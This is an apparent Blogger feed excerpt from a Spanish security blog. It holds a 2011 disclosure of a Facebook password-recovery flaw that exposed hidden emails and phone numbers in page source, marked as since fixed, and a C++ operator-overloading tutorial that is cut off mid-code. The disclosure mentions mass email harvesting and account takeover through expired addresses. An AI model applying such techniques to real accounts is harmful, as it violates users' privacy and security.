comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/5797399887721538084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/5797399887721538084'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2011/01/haciendo-la-buena-obra-del-dia.html' title='Haciendo la buena obra del día'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_i-43lFP4TnI/TUKE6kDirjI/AAAAAAAAAHc/vgnRQmXE0g0/s72-c/store.JPG" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-194587855949446574</id><published>2011-01-04T03:37:00.004-03:00</published><updated>2011-02-08T03:20:51.874-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bugs"/><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="inseguridad"/><title type='text'>Fallo en Facebook respecto del manejo de datos en &quot;recordar contraseña&quot;</title><content type='html'>Decidí revisar a ver que tal funcionaba el servicio de recordar contraseñas de Facebook cuando me encontré con una sorpresa un tanto curiosa. &lt;br /&gt;Desconozco si alguien presto atención a este pequeño detalle antes que yo, al ser tan simple supongo que si pero no he visto nada al respecto; quien tenga un link a mano y desee compartirlo puede hacerlo en los comentarios!&lt;br /&gt;Este es un fallo simple pero que a la vez nos hace preguntar hasta que punto nuestra privacidad esta a resguardo. &lt;br /&gt;&lt;br /&gt;Supongamos que tenemos un perfil X, en este caso elegi a una chica al azar que llamaremos Julieta. Julieta esta agregada en la lista de contactos de nuestra cuenta y a grandes rasgos tenemos acceso a casi todos los componentes de Facebook (Muros, Notas, etc). No obstante, la dirección de mail ya sea la principal u cualquier otro tipo de información de contacto, permanecen ocultas.&lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TSK1twBYLjI/AAAAAAAAAHI/n6rXuVm4boc/s1600/aaa.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;194&quot; src=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TSK1twBYLjI/AAAAAAAAAHI/n6rXuVm4boc/s320/aaa.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Julieta Gisele. Sin información de contacto&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Es irrelevante en este caso cual es el criterio con el cual se oculto la información de contacto (Personas especificas, solo amigos, etc) ya que eso no nos importa demasiado puesto que para recordar la contraseña obviamente no hace falta iniciar ninguna sesión.&lt;br /&gt;&lt;br /&gt;Teniendo el perfil, vamos a recordar la contraseña tocando en &lt;a href=&quot;https://www.facebook.com/recover.php&quot;&gt;¿Has olvidado tu contraseña?&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TSK2Yu15DTI/AAAAAAAAAHM/3Z4Awb8R8Tc/s1600/aaa2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;238&quot; src=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TSK2Yu15DTI/AAAAAAAAAHM/3Z4Awb8R8Tc/s320/aaa2.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Recordar contraseña&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Ahora bien, para identificar el perfil se puede cualquiera de las 3 opciones. La primer opción por supuesto no tiene sentido ya que parte de que ya conocemos la dirección de mail de antemano. La tercera implica que conozcamos como mínimo un contacto de la lista de la persona involucrada, lo cual no siempre es factible ya que dicha lista puede estar oculta. La segunda opción es la mas simple, puesto que el link del perfil puede obtenerse facilmente.&lt;br /&gt;&lt;br /&gt;Al encontrarse el usuario, nos encontramos con un captcha, y luego de este, otro pedido de confirmación en caso que todavía deseemos recordar la contraseña.&lt;br /&gt;Es un hecho conocido que casi la totalidad de los servicios como mínimo utilizan una dirección de mail para restablecer una contraseña, Facebook obviamente no es la excepción. Por supuesto por cuestiones de privacidad oculta la dirección:&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TSK33cxZ1SI/AAAAAAAAAHU/B-CyzYGJGzE/s1600/aaa3.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;151&quot; src=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TSK33cxZ1SI/AAAAAAAAAHU/B-CyzYGJGzE/s320/aaa3.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Dirección oculta. ¿Oculta?&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;No precisamente oculta, si revisan el código fuente de esa misma pagina, encontraran la dirección completa:&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: monospace; white-space: pre-wrap;&quot;&gt;&quot;contactInfo&quot;:{&quot;email&quot;:[&quot;Aquí el mail.&quot;]}&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Cual es el problema con este pequeño fallo?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Básicamente son tres:&lt;br /&gt;&lt;br /&gt;1) Permite a un atacante obtener una dirección que en principio podría estar oculta intencionalmente. En este caso, la dueña del perfil del ejemplo tenia su dirección oculta incluso para los contactos de su lista, sin embargo puede obtenerse fácilmente sin siquiera iniciar una sesión. Si se salta el captcha incluso se puede automatizar la tarea para obtener direcciones en forma masiva.&lt;br /&gt;&lt;br /&gt;2) La dirección de mail puede no estar activa, y en ese caso alguien podría registrar nuevamente dicha dirección y modificar la contraseña del perfil de Facebook de la victima.&lt;br /&gt;&lt;br /&gt;3) Permite a un atacante saber fácilmente cual es el mail ligado a la cuenta de Facebook y las consecuencias que esto conlleva.&lt;br /&gt;&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;Este error no involucra solamente a la dirección con la cual se registro la cuenta de Facebook, si no con todas las direcciones de correo asociadas a la cuenta, &lt;b&gt;e incluso también el numero de movil&lt;/b&gt;.&lt;br /&gt;En conclusión, cuidado con los datos que asocian con su cuenta de Facebook ya que no están &lt;b&gt;para nada &lt;/b&gt;protegidos. &lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Al día de la fecha -08/02/2011- el fallo se encuentra &lt;u&gt;&lt;b&gt;solucionado&lt;/b&gt;&lt;/u&gt;.</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/194587855949446574/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2011/01/fallo-en-facebook-respecto-del-manejo.html#comment-form' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/194587855949446574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/194587855949446574'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2011/01/fallo-en-facebook-respecto-del-manejo.html' title='Fallo en Facebook respecto del manejo de datos en &quot;recordar contraseña&quot;'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_i-43lFP4TnI/TSK1twBYLjI/AAAAAAAAAHI/n6rXuVm4boc/s72-c/aaa.JPG" height="72" width="72"/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-6032775849725518966</id><published>2010-12-21T19:36:00.001-03:00</published><updated>2011-03-10T19:06:04.177-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C++"/><category scheme="http://www.blogger.com/atom/ns#" term="programacion"/><title type='text'>Sobrecarga de operadores en C++.</title><content type='html'>Últimamente he visto algunas dudas respecto de este tema en la sección de C/C++ de elhacker.net -sección en la cual soy moderador-. Este tipo de dudas suelen ser las que mas me gustan, porque a simple vista parecen simples pero en el fondo hay una complejidad que la mayoría de las personas que están aprendiendo ese lenguaje todavía no conocen.&lt;br /&gt;&lt;br /&gt;No voy a extenderme demasiado pero simplemente aclarar algunos puntos que suelen ser los que mas dudas generan. No escribiré todo en una sola entrada por supuesto, probablemente tome varias. En esta comenzare con lo básico del tema.&lt;br /&gt;&lt;br /&gt;Otro detalle es que hace mucho que no posteo ninguna entrada relacionada a la programación, y siendo que es una de las áreas que mas me gusta creo que ya viene siendo hora. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Introducción&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cuando desarrollas una aplicación y se diseña la interfaz gráfica, siempre se tiene en mente el usuario final. No hay reglas generales que sirvan para diseñar una interfaz excelente que le guste a todos los usuarios, por esa razón uno trata de hacer la interfaz lo mas intuitiva posible, lo mas accesible que se pueda, y por sobre todas las cosas, fácil de manejar y de recordar.&lt;br /&gt;&lt;br /&gt;Cuando desarrollas una clase o un conjunto de estas, también realizas un producto para un usuario final, con la diferencia que en este caso el usuario final es a la vez un programador.&lt;br /&gt;Este simple hecho suele dar la falsa noción que, al ser el usuario final un programador, este tiene que entender todas las locuras que hayamos hecho a la hora de codificar. Es decir, &quot;A fin de cuentas es un programador o no? si es muy bueno sabrá porque hice esto y aquello.&quot; son ideas que suelen existir en muchos programadores y que influyen negativamente en el resultado final.&lt;br /&gt;&lt;br /&gt;Al igual que con la interfaz gráfica de una aplicación, la interfaz de una clase también debe diseñarse. Esta debe ser intuitiva, accesible, fácil de recordar y de manejar. Es aquí cuando entra la sobrecarga de operadores.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Para que se utiliza la sobrecarga de operadores?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La sobrecarga de operadores es una manera sencilla de simplificar los significados de ciertas operaciones que trabajen con tipos definidos por nosotros mismos (Lo que usualmente en C++ es una clase).&lt;br /&gt;El objetivo final es reducir la curva de aprendizaje de nuestra clase al proveer una interfaz intuitiva que sea fácil de utilizar y recordar.&lt;br /&gt;&lt;br /&gt;La idea principal radica en intentar simplificar los significados de las operaciones que realizamos con nuestras clases sobrecargando los operadores que mas se relacionen con lo que realmente se quiere hacer.&lt;br /&gt;&lt;br /&gt;Si tuviésemos una clase que contiene un entero, y quisiésemos proveer una interfaz para sumar varios objetos sin utilizar sobrecarga de operadores, tendríamos que realizar un método que sume. Por ejemplo, algo así:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div #f8f9fa;?=&quot;&quot; background-color:=&quot;&quot; class=&quot;cpp&quot; courier,=&quot;&quot; courier=&quot;&quot; monospace;=&quot;&quot; new?,=&quot;&quot; style=&quot;font-size: small;&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;MiClase Resultado &lt;span style=&quot;color: navy;&quot;&gt;=&lt;/span&gt; sum&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;Clase1,Clase2&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;A simple vista no parece muy complicado, pero que pasa si queremos sumar 4 objetos?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div #f8f9fa;?=&quot;&quot; background-color:=&quot;&quot; class=&quot;cpp&quot; courier,=&quot;&quot; courier=&quot;&quot; monospace;=&quot;&quot; new?,=&quot;&quot; style=&quot;font-size: small;&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;MiClase Resultado &lt;span style=&quot;color: navy;&quot;&gt;=&lt;/span&gt; sum&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;sum&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;Clase1,Clase2&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;,sum&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;Clase1,Clase2&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;// No muy intuitivo que digamos.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Realmente no se ve muy agradable verdad?&lt;br /&gt;&lt;br /&gt;Ahora veamos un ejemplo sobrecargando operadores:&lt;br /&gt;&lt;br /&gt;&lt;div #f8f9fa;?=&quot;&quot; background-color:=&quot;&quot; class=&quot;cpp&quot; courier,=&quot;&quot; courier=&quot;&quot; monospace;=&quot;&quot; new?,=&quot;&quot; style=&quot;font-size: small;&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #339900;&quot;&gt;#include &amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;class&lt;/span&gt; MiClase&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;private&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;int&lt;/span&gt; Num&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;int&lt;/span&gt; Cnum&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt; Num &lt;span style=&quot;color: navy;&quot;&gt;=&lt;/span&gt; Cnum&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;friend&lt;/span&gt; MiClase operator&lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;a, &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;b&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;int&lt;/span&gt; ObtNum&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;return&lt;/span&gt; Num&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;MiClase operator&lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;a, &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;b&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;return&lt;/span&gt; MiClase&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;a.&lt;span style=&quot;color: #007788;&quot;&gt;Num&lt;/span&gt; &lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt; b.&lt;span style=&quot;color: #007788;&quot;&gt;Num&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;int&lt;/span&gt; main&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase Clase1&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000dd;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase Clase2&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000dd;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;br /&gt;&lt;br /&gt;//Intuitivo, c=a+b;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase Resultado &lt;span style=&quot;color: navy;&quot;&gt;=&lt;/span&gt; Clase1 &lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt; Clase2 + Clase1 + Clase2&lt;span style=&quot;color: teal;&quot;&gt;; &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std&lt;span style=&quot;color: teal;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #0000dd;&quot;&gt;cout&lt;/span&gt; &lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;&quot;El resultado es: &quot;&lt;/span&gt; &lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; Resultado .&lt;span style=&quot;color: #007788;&quot;&gt;ObtNum&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&amp;nbsp; std&lt;span style=&quot;color: teal;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #007788;&quot;&gt;endl&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; 